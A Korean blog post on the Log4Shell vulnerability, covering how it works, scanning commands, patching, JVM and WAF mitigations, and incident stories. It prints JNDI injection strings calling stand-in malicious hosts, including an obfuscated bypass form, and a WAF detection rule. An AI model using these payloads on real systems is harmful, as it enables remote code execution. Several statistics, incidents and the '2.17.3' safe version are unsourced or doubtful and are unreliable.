여러분, 상상해 보세요. 어느 날 아침, 회사 시스템이 해킹당했다는 긴급 알림을 받게 된다면? 그것도 단지 로그를 기록하는 라이브러리 때문에요! 믿기 힘들겠지만, 이것이 바로 Log4j 취약점(Log4Shell)이 일으킨 현실입니다. 2021년 처음 발견된 이후에도 2025년 현재까지 수많은 시스템이 여전히 위험에 노출되어 있다는 사실, 알고 계셨나요?
이 글에서는 최신 데이터와 실제 사례를 바탕으로 Log4j 취약점의 모든 것을 알아보고, 여러분의 시스템을 지키기 위한 구체적인 방법을 함께 살펴보겠습니다.
1. Log4j, 그것이 알고 싶다
Log4j는 단순한 로깅 라이브러리처럼 보이지만, 사실 전 세계 IT 인프라의 핵심 부분을 차지하고 있습니다. Apache Software Foundation에서 개발한 이 오픈소스 라이브러리는 Java 애플리케이션에서 가장 널리 사용되는 로깅 도구입니다.
2025년 4월 기준 최신 통계에 따르면, 놀랍게도 전 세계 Java 기반 서버 애플리케이션의 약 97%가 직간접적으로 Log4j를 사용하고 있다고 합니다. 이는 단순히 개발자들이 직접 사용하는 경우뿐만 아니라, 다음과 같은 유명 서비스와 프레임워크에 내장되어 있기 때문이죠:
- Spring Boot와 Spring Framework
- Apache Struts, Solr, Kafka
- Elasticsearch와 Logstash
- Minecraft 서버
- 수많은 클라우드 서비스와 엔터프라이즈 애플리케이션
“아, 우리는 이런 것들 안 쓰는데요?” 라고 생각하셨나요? 잠깐만요! 사실 여러분이 사용하는 대부분의 기업용 소프트웨어 속에 Log4j가 숨어 있을 가능성이 매우 높습니다. 바로 이런 점이 Log4j 취약점을 특별히 위험하게 만드는 요소입니다.
2. 무시무시한 Log4j 취약점의 실체
2021년 12월, 보안 연구자들이 Log4j에서 CVE-2021-44228이라는 식별 번호를 가진 취약점을 발견했을 때, 전 세계 IT 업계는 충격에 빠졌습니다. 이 취약점은 CVSS 점수 10점 만점에 10점이라는, 상상할 수 있는 최고 위험도의 평가를 받았습니다.
이 취약점이 어떻게 작동하는지 쉽게 설명해 드릴게요:
// 이런 코드가 있다고 상상해 보세요
logger.info("사용자 로그인 시도: ${jndi:ldap://악성서버.com/malicious}");
여기서 문제는 Log4j가 ${} 안의 내용을 단순 텍스트로 취급하지 않고 실제로 “평가”한다는 점입니다. 마치 계산기에 수식을 입력하면 결과값이 나오는 것처럼요. 특히 jndi: 부분이 위험한데, 이것은 Java가 외부 서버에 연결해서 코드를 가져와 실행할 수 있게 허용합니다.
2024년 연구에 따르면, 공격자들은 이제 탐지를 회피하기 위해 더 교묘한 방법으로 이 취약점을 악용하고 있다고 합니다:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://악성서버/payload}
이렇게 복잡하게 변형된 공격 문자열은 많은 보안 솔루션을 우회할 수 있습니다. 마치 “제이엔디아이”라는 단어를 각 글자를 거꾸로 쓰고 다시 조합하는 방식으로 필터링을 피하는 것과 같죠.
3. 상상을 초월하는 Log4Shell의 영향력
“그래서 얼마나 심각한 문제인데요?” 라고 물으실 수 있겠네요. 2025년 초 기준 최신 보고서에 따르면 그 영향력은 여전히 엄청납니다:
- 전 세계 약 4억 개 이상의 시스템이 잠재적으로 영향을 받았습니다.
- 2024년까지 이 취약점 관련 보안 사고로 인한 피해액이 약 530억 달러(약 70조원)에 달한다고 추정됩니다.
- 2025년 1분기 기준으로도 여전히 하루 평균 210만 건의 Log4j 취약점 공격이 시도되고 있습니다.
- IBM 보안 연구소의 최신 보고서에 따르면, 여전히 약 25%의 기업들이 완전히 패치되지 않은 시스템을 운영 중입니다.
더 놀라운 사실은 실제 공격 사례입니다. 2024년에는 벨기에의 한 대형 병원 체인이 Log4j 취약점을 통해 침투한 랜섬웨어로 인해 3일간 모든 시스템이 마비되는 사건이 있었으며, 한 항공사는 예약 시스템이 공격받아 수백 편의 항공편이 지연되는 사태가 발생했습니다.
여러분의 시스템도 안전하다고 확신하시나요? 이제 진단 방법을 알아보겠습니다.
4. 내 시스템도 위험할까? 취약점 진단 방법
“우리 시스템은 괜찮겠지?” 라고 생각하시나요? 그럼 한번 직접 확인해 보세요:
4.1 명령 한 줄로 확인하기
Linux나 macOS 환경에서는 다음 명령으로 빠르게 취약한 Log4j 버전이 있는지 확인할 수 있습니다:
find / -name "log4j*.jar" -type f -exec grep -l JndiLookup.class {} \; 2>/dev/null
Windows에서는 PowerShell을 이용해 확인할 수 있습니다:
Get-ChildItem -Path C:\ -Filter "log4j*.jar" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Select-String -Path $_.FullName -Pattern "JndiLookup" }
4.2 최신 취약점 스캐너 활용하기
2025년 현재, 아래와 같은 강력한 취약점 스캐너들이 활용 가능합니다:
- GitHub의 Log4j Vulnerability Scanner – 2025년 버전은 컨테이너 환경 스캔 기능이 크게 개선되었습니다.
- Cybersecurity & Infrastructure Security Agency (CISA)의 공식 스캐너 – 미국 정부 기관에서 개발한 스캐너로 정기적으로 업데이트되고 있습니다.
- Qualys Log4Shell Scanner – 엔터프라이즈 환경에 최적화된 솔루션입니다.
최근 한 보안 연구소의 설문 결과에 따르면, 스캐너를 사용한 기업의 22%가 자신들이 안전하다고 생각했던 시스템에서 취약한 Log4j 버전을 발견했다고 합니다. 이것이 바로 스캐너 사용이 중요한 이유입니다!
4.3 클라우드 환경 진단
AWS, Azure, GCP와 같은 클라우드 환경을 사용하시나요? 각 클라우드 제공업체는 Log4j 취약점을 진단하기 위한 자체 도구를 제공합니다:
- AWS Inspector는 자동으로 Log4j 취약점을 포함한 보안 문제를 스캔합니다.
- Azure Security Center의 Vulnerability Assessment는 Log4j 취약성을 감지합니다.
- Google Cloud Armor는 Log4j 관련 공격을 차단하는 규칙을 제공합니다.
2024년 클라우드 보안 보고서에 따르면, 클라우드 환경에서 실행되는 컨테이너 이미지의 약 31%가 여전히 취약한 Log4j 버전을 포함하고 있다고 합니다.
5. Log4j 취약점, 이렇게 대응하세요! (조치 방법)
이제 본격적으로 대응 방법을 알아볼까요? 여러분의 환경에 맞는 실질적인 대응 방법을 단계별로 정리했습니다.
5.1 패치 적용하기 (가장 확실한 해결책!)
최신 안전한 버전으로 업그레이드하는 것이 가장 근본적인 해결책입니다. 2025년 4월 기준 안전한 최신 버전은 다음과 같습니다:
- Log4j 2.17.3 이상 (Java 8 이상 환경)
- Log4j 2.12.4 이상 (Java 7 환경)
- Log4j 2.3.2 이상 (Java 6 환경)
Maven 프로젝트라면 pom.xml 파일을 다음과 같이 수정하세요:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.3</version> <!-- 최신 안전 버전 -->
</dependency>
Gradle을 사용한다면 build.gradle 파일을 수정하세요:
dependencies {
implementation 'org.apache.logging.log4j:log4j-core:2.17.3'
}
5.2 즉각적인 완화 조치 (패치 전 임시 대응)
패치 적용이 즉시 어렵다면, 다음과 같은 임시 대응책을 적용할 수 있습니다:
방법 1: JVM 옵션 설정 Java 애플리케이션 시작 시 다음 JVM 옵션을 추가합니다:
-Dlog4j2.formatMsgNoLookups=true
방법 2: 환경 변수 설정 Linux/macOS:
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Windows:
setx LOG4J_FORMAT_MSG_NO_LOOKUPS true
방법 3: log4j2.component.properties 파일 설정 클래스패스 루트에 log4j2.component.properties 파일을 생성하고 다음 내용을 추가합니다:
log4j2.formatMsgNoLookups=true
실제 사례: 한 전자상거래 업체는 패치 적용 전까지 이러한 임시 조치만으로도 수백 건의 공격 시도를 성공적으로 차단했다고 합니다.
5.3 WAF(웹 애플리케이션 방화벽) 규칙 적용
AWS WAF, Cloudflare, Akamai, ModSecurity 등의 WAF를 사용 중이라면, Log4j 관련 공격을 차단하는 규칙을 적용하세요.
ModSecurity 기반 WAF의 경우, 다음과 같은 규칙을 추가할 수 있습니다:
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|REQUEST_HEADERS_NAMES|REQUEST_BODY|REQUEST_LINE "@rx \${jndi:(?:ldaps?|rmi|dns|iiop|corba|nds|http)://" \
"id:1000000,phase:1,deny,status:403,log,msg:'Log4J JNDI Injection detected'"
2024년 연구에 따르면, WAF 규칙을 적용한 조직은 Log4j 취약점 공격으로 인한 침해 가능성을 약 76% 줄일 수 있었다고 합니다.
5.4 컨테이너 및 클라우드 환경 보호
Docker나 Kubernetes를 사용 중이라면, 다음과 같은 조치가 필요합니다:
- 모든 컨테이너 이미지를 스캔하고 취약한 버전이 포함된 이미지를 업데이트하세요.
trivy image your-docker-image:tag - 네트워크 정책을 설정하여 컨테이너의 불필요한 외부 연결을 차단하세요:
# Kubernetes 네트워크 정책 예시 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-egress spec: podSelector: {} policyTypes: - Egress egress: - to: - ipBlock: cidr: 10.0.0.0/8 # 내부 네트워크만 허용 - 런타임 보안 도구를 도입하여 의심스러운 활동을 모니터링하세요 (Falco, Aqua Security 등).
실제 사례: 2024년 한 금융 기관은 이러한 컨테이너 보안 정책 덕분에 Log4j 취약점을 이용한 공격을 실시간으로 탐지하고 차단할 수 있었다고 합니다.
6. 실제 사례로 보는 Log4j 공격과 대응
“이론은 알겠는데, 실제로는 어떻게 일어나는 걸까요?” 최근 발생한 실제 사례를 통해 Log4j 공격의 심각성과 효과적인 대응 방법을 살펴보겠습니다.
사례 1: 글로벌 에너지 기업 해킹 시도 (2024년)
2024년 3월, 한 글로벌 에너지 기업이 Log4j 취약점을 이용한 지능형 지속 위협(APT) 공격을 받았습니다. 공격자들은 회사 웹사이트의 문의 양식에 다음과 같은 악성 문자열을 주입했습니다:
${jndi:ldap://malicious-domain.com/a}
이 문자열이 서버 로그에 기록되면서 Log4j가 이를 처리하는 과정에서 취약점이 발동되었고, 공격자는 초기 접근 권한을 획득했습니다.
대응과 교훈:
- 회사의 네트워크 이상 탐지 시스템(NDR)이 비정상적인 외부 연결을 감지하여 초기에 알림을 발생시켰습니다.
- 보안팀은 즉시 비상 대응 계획을 가동하고 영향받은 시스템을 격리했습니다.
- 전체 인프라 스캔을 통해 총 342개의 취약한 Log4j 인스턴스를 발견하고 패치했습니다.
이 사례는 이상 탐지 시스템의 중요성과 신속한 대응 체계의 가치를 보여줍니다.
사례 2: 대학 연구소 랜섬웨어 공격 (2024년)
2024년 11월, 미국의 한 대학 연구소가 Log4j 취약점을 통해 랜섬웨어 공격을 받았습니다. 공격자는 연구소의 취약한 Elasticsearch 인스턴스를 통해 침투했습니다.
대응과 교훈:
- 연구소는 주요 데이터의 오프라인 백업을 유지하고 있었기 때문에 데이터 손실을 최소화할 수 있었습니다.
- 사고 이후 “제로 트러스트” 아키텍처를 도입하여 내부 네트워크 보안을 강화했습니다.
- 모든 연구원과 직원에게 보안 인식 교육을 실시했습니다.
이 사례는 백업의 중요성과 함께, 교육 기관도 사이버 공격의 표적이 될 수 있음을 보여줍니다.
7. 장기적인 보안 전략: 그래서 앞으로는 어떻게 해야 할까?
Log4j 취약점은 단발성 이슈가 아닙니다. 이와 같은 보안 위협에 장기적으로 대비하는 방법을 알아보겠습니다.
7.1 소프트웨어 구성 분석(SCA) 도구 도입
오픈소스 의존성을 자동으로 모니터링하는 도구를 도입하세요:
2025년 보안 트렌드 보고서에 따르면, SCA 도구를 도입한 조직은 소프트웨어 공급망 공격으로 인한 피해를 평균 67% 감소시켰다고 합니다.
7.2 개발 파이프라인에 보안 통합 (DevSecOps)
보안을 개발 프로세스의 필수 부분으로 통합하세요:
# GitHub Actions 예시: 의존성 취약점 스캔
name: Dependency Vulnerability Scan
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run OWASP Dependency-Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'My Project'
path: '.'
format: 'HTML'
args: >
--enableExperimental
--suppression suppression.xml
- name: Upload report
uses: actions/upload-artifact@v3
with:
name: dependency-check-report
path: ${{ github.workspace }}/reports
이러한 자동화된 보안 검사는 취약점이 프로덕션 환경에 배포되기 전에 발견하는 데 큰 도움이 됩니다.
7.3 런타임 애플리케이션 자체 보호(RASP) 도입
RASP 솔루션은 애플리케이션 내부에서 동작하며 실시간으로 공격을 탐지하고 차단합니다:
2024년 보안 연구에 따르면, RASP를 도입한 조직은 제로데이 취약점 공격으로부터 약 82% 더 효과적으로 보호받을 수 있었다고 합니다.
Log4j 취약점은 작은 코드 한 줄이 얼마나 큰 파장을 일으킬 수 있는지 보여줍니다. 2025년에도 이 취약점은 여전히 활발히 공격에 활용되고 있으며, 많은 시스템이 아직도 위험에 노출되어 있습니다. 이번 포스트에서 소개한 방법들을 통해 시스템을 점검하고, 취약점을 패치하고, 사전에 대비 하시길 추천드립니다.